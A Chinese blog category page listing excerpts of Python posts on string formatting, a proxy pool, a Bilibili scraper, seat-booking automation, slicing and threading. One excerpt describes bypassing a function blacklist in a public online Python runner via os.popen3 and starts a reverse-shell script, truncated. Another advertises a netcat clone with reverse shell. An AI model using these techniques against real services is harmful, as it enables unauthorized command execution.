
Python
文章平均质量分 61
Xyntax
博客已搬家到www.cdxy.me
展开
-
Python字符串操作符(%s,%d,%u...)与输出格式控制(*-+#0...)
#字符串操作符与格式控制'''----------------------------%c ASC2或者长度为1的字符串%s __str__()%r __repr__()%d %i 有符号十进制%u 无符号十进制%o 无符号八进制%x %X 无符号十六进制%e %E 科学计数法%f %F float(小数部分自动截断)%g %G ==%e原创 2015-06-21 17:48:56 · 27871 阅读 · 0 评论 -
Python自动化代理池
代理池代理池是爬虫、采集、爆破、刷单等必不可少的配备。读了一个github的py代理池的源码,简单易用免维护,也无需过多配置,共享一下。结构该程序从网站爬取代理列表,存入SQLite数据库。定时执行爬取->存入->检查->爬取的循环以保证采集到代理IP的可用性。同时本地监听HTTP请求,通过提交的GET参数筛选代理,并以json格式返回给应用程序。途中灰色框线中即代理池程序需要完成的部分。箭头方向表原创 2016-06-14 16:55:29 · 4625 阅读 · 1 评论 -
Python在线编码导致命令执行
看到某公众号提供"Python在线编写"功能,测试了几个函数. 以下常规的都被过滤了os.systemos.popensubprocesscommands然后试试os.popen2/3/4发现可以import,同时socket也可以使用这样就写了个反弹shell的脚本:import socketfrom os import popen3s = socket.socke原创 2016-06-26 22:24:49 · 743 阅读 · 0 评论 -
Bilibili 2000W用户信息爬取
单机多线程爬虫,耗时30小时,爬取B站2000W用户公开数据,存入数据库。为用户个性签名提供网页索引,说不定这是东半球脑洞最大的小词儿了。网页版入口: http://cdxy.me/CI/项目地址: https://github.com/Xyntax/POC-T/blob/master/module/spider.py脚本很简单,已作为模块整合到我的多线程框架中:import requests原创 2016-04-13 21:17:29 · 8308 阅读 · 1 评论 -
Python-Requests模拟登录-实现图书馆座位自动预约
配置通过公网主机定时运行脚本,并发送邮件到自己的qq邮箱,这样在微信就会有消息提示是否预约成功vim /etc/crontab 设置每到早上7:01自动运行脚本即可程序流程(以yuyue.juneberry.cn网站为例)get访问登录页面,获取cookie和表单里面的隐藏post字段构造登录post数据,加入从表单里面拿到的隐藏post字段post构造后的数据,模拟登录,激活cookie(原创 2016-03-28 11:39:33 · 11114 阅读 · 9 评论 -
python实现netcat(文件传输、反弹shell)
介绍在网络工具中有“瑞士军刀”美誉的NetCat和nc命令, 每个渗透人员的必修课,简单实用的功能用了N年仍爱不释手。在渗透测试中,往往聪明的系统管理员都会从系统中移除nc。在这种情况下需要创建一个简单的客户端和服务器用来传递文件,或者执行命令。功能同时具备服务端和客户端功能 命令执行 文件传输Xyntax Netcat Toolusage: Netcat.py [-h] [-l] [-原创 2015-10-17 16:02:39 · 7372 阅读 · 0 评论 -
Python 切片(slice)的扩展使用方法
# -*- coding: utf-8 -*-__author__ = 'xy'#切片(slice)的扩展使用方法#1 用步长索引来进行扩展的切片操作# slice[1:2:3]其中第3个位置表示步长,默认为1#简单的str翻转:s = 'abcde'print s[::-1]# >>>'edcba'#间隔一个字符取值:print s[::2]# >>>'ace'原创 2015-06-21 11:28:58 · 3091 阅读 · 1 评论 -
Python习题1:None-Unique Elements 习题+前三名答案解析(checkio.org)
source :www.checkio.org需要翻墙 初学 不定期更新此类题目描述:你将得到一个含有整数(X)的非空列表。在这个任务里,你应该返回在此列表中的非唯一元素的列表。要做到这一点,你需要删除所有独特的元素(这是包含在一个给定的列表只有一次的元素)。解决这个任务时,不能改变列表的顺序。例如:[1,2,3,1,3] 1和3是非唯一元素,结果将是 [1, 3, 1, 3]原创 2015-06-14 22:49:44 · 2137 阅读 · 0 评论 -
Python 代码优化基础——判断对象类型
# -*- coding: utf-8 -*-## def displayNumType(num):# print num, 'is',# if type(num) == type(0):# print 'an integer'# elif type(num) == type(0L):# print 'a long'#原创 2015-06-20 19:49:50 · 679 阅读 · 0 评论 -
Python多线程中阻塞(join)与锁(Lock)的使用误区
关于阻塞主线程join的错误用法Thread.join() 作用为阻塞主线程,即在子线程未返回的时候,主线程等待其返回然后再继续执行.join不能与start在循环里连用 以下为错误代码,代码创建了5个线程,然后用一个循环激活线程,激活之后令其阻塞主线程.threads = [Thread() for i in range(5)]for thread in threads: thread原创 2016-07-28 10:41:12 · 10880 阅读 · 3 评论